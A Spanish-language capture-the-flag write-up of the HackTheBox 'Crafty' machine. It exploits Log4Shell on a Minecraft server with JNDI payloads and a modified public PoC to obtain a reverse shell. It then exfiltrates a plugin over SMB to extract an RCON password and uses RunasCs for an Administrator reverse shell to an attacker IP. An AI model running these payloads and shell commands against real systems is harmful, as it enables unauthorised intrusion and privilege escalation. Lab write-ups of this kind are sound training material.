Skip to main content

Command Palette

Search for a command to run...

Crafty - HackTheBox

Resolución de la maquina Crafty de HackTheBox

Updated
5 min read

Hola ¿Te puedo ofrecer este CTF y café?

Cute GIFs | Gifrific | Coffee gif, Gif, Cute

Pero antes gracias TheCyberGeek y felamos por crear esta maquina y a la comunidad de HackTheBox por hacer esto posible.

Descripción de la maquina.

Sistema OperativoWindows
DificultadFácil
Lanzamiento10/02/2024
CreadorTheCyberGeek & felamos
Primer UsuarioVz0n
Primer RootVz0n

Enumeración

Empecemos con un nmap

sudo nmap -p- -sVC -sS --min-rate 5000 --open -Pn -n 10.10.11.249 -oN tartgeted

Observemos en el servicio web hace alusión un dominio crafty.htb, vamos a declararlo en nuestro archivo /etc/hosts y visitamos la web.

Dentro de este no encontramos algo interesante mas allá de el subdominio play.crafty.htb que también vamos agregar a en nuestro /etc/hosts

Podemos realizar un fuzzing en busca de directorios o archivos.

feroxbuster -u http://crafty.htb/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x asp,aspx,html,txt -t 100

Pero no encontraremos nada interesante, de igual forma con play.crafty.htb

cartoons & comics coffee bom dia bomdia animated GIF | Spongebob memes,  Spongebob, Funny pictures

Pasamos al puerto 25565 este aloja el servicio de Minecraft en su versión 1.16.5, buscando en Google "minecraft 1.16.5 vulnerabilities" podemos darnos cuenta que este es vulnerable a Log4Shell (CVE-2021-44228)

Log4Shell

Esta vulnerabilidad consiste en que Log4j por defecto en sus registros interpreta instrucciones especiales que estén dentro de esta sintaxis ${}. Una de la posibilidades de abusar de esto es hacer uso de JNDI (Java Native Directory Interface) para cargar clases externas y que estas sean ejecutadas en el contexto de la aplicación Java.

Por lo tanto como primer paso debemos conectar al servidor de Minecraft, con un cliente, en mi caso usare Minecraft-Console-Client

Descargamos el binario en la parte de "releases".

./MinecraftClient-20240415-263-linux-x64 --help

Ahora solo colocamos cualquier nombre de usuario, la contraseña la dejamos vacía y la IP del servidor.

Bien, nos hemos conectado al servidor, ahora vamos a ver si podemos abusar de JNDI para realizarnos una petición nuestra maquina y proceder con el PoC.

Nos colocamos en escucha con sudo nc -lnvp 389 y enviamos ${jndi:ldap://10.10.14.196/test} desde el cliente de Minecraft, si el servidor es vulnerable veremos que la petición se ha enviado y recibido desde nuestro netcat

Teniendo esto en cuenta, vamos hacer uso de este Poc, el cual descargaremos e instalaremos algunos requisitos previos.

git clone https://github.com/kozmer/log4j-shell-poc
cd log4j-shell-poc
pip install -r requirements.txt

Otro requisito de esto es un jdk en su version 8u20, que podemos descargar en la pagina de oracle.

tar xf jdk-8u20-linux-x64.tar.gz

De tal manera que nos quedan estos archivos.

Antes de iniciar con la PoC, debemos de hacer una modificación al archivo poc.py

Ya que por defecto la shell que devuelve es una /bin/sh para Linux, en nuestra caso sera una cmd.exe ya que estamos frente a un Windows.

The Rock Meme Drill GIF - The rock meme Drill - Descubre y comparte GIF

Ahora si, ejecutamos el script con los siguientes parámetros.


python3 poc.py --userip 10.10.14.196 --webport 8000 --lport 9001

Este nos dará una URL del payload "${jndi:ldap://10.10.14.196:1389/a}" que enviaremos en el cliente de Minecraft.

Una vez ejecutado veremos algunas peticiones al servicio LDAP y una shell de la maquina.

Mapache Pedro GIF - Mapache pedro - Discover & Share GIFs

Y en el escritorio de este usuario encontramos la primera flag.

Escalada de privilegios

Explorando las carpetas del usuario svr_minecraft tenemos la carpeta del servidor, que a su vez tiene una llamada plugins, la cual solo contiene un plugin pero que llama la atención, ya que no es un plugin externo, párese ser algo personalizado.

Aparte el nombre "playercounter" tiene mucha coincidencia con una característica de la web.

Así que vamos alojar un servicio smb en nuestra maquina.

sudo /home/hole/.local/bin/smbserver.py -smb2support folder . -username hole -password hole

Después nos autenticamos a este y nos enviamos el playercounter-1.0-SNAPSHOT.jar desde la maquina victima.

net use \\10.10.14.196\folder /u:hole hole
copy playercounter-1.0-SNAPSHOT.jar \\10.10.14.196\folder\

Para inspeccionar el código de este archivo, haré uso de JD-GUI de la siguiente forma.

java -jar jd-gui-1.6.6.jar playercounter-1.0-SNAPSHOT.jar

Tenemos varios archivos, pero el interesante es playercounter.class

En donde podemos ver una linea en particular ya que vemos una contraseña.

Inspeccionado un poco el código vemos que hace uso de RCON.

El protocolo Source RCON es un protocolo de comunicación basado en TCP/IP utilizado por el servidor dedicado de origen , que permite emitir comandos de consola al servidor a través de una "consola remota" o RCON. El uso más común de RCON es permitir a los propietarios de servidores controlar sus servidores de juegos sin acceso directo a la máquina en la que se ejecuta el servidor. Para que se acepten los comandos, primero se debe autenticar la conexión usando la contraseña RCON del servidor, que se puede configurar usando la variable de consolarcon_password.

El cual se hace uso para crear una instancia al puerto 27015 del localhost con la contraseña "s67u84zKq8IXw".

Bien, tenemos una contraseña, ¿como la probamos?

Con RunasCs, así que, lo descargamos en nuestra maquina.

wget https://github.com/antonioCoco/RunasCs/releases/download/v1.5/RunasCs.zip
unzip RunasCs.zip

Después lo alojamos en un servidor de python y lo descargamos en la maquina victima con wget

sudo python3 -m http.server 8001
porwershell
cd C:\users\svc_minecraft\
wget http://10.10.14.23:8001/RunasCs.exe -outfile RunasCs.exe

Ahora podemos probamos la contraseña con el usuario administrator para ejecutar un comando, aunque RunasCs nos permite establecer una cmd directamente, así que vamos a hacerlo.

Previamente nos colocamos en escucha con netcat

nc -nlvp 8004

Y ejecutamos la RunasCs con los siguientes parámetros.

.\RunasCs.exe Administrator s67u84zKq8IXw cmd -r 10.10.11.23:8004

Excelente!!

Strong Whoa GIF - Strong Whoa Fight Me - Descubre y comparte GIF

Eso fue todo, hasta luego querido lector!

thumb bob esponja | Spongebob painting, Spongebob, Vintage cartoon


Referencias

  1. 0xdf - HTB: Crafty

  2. Vz0n - HTB: Crafty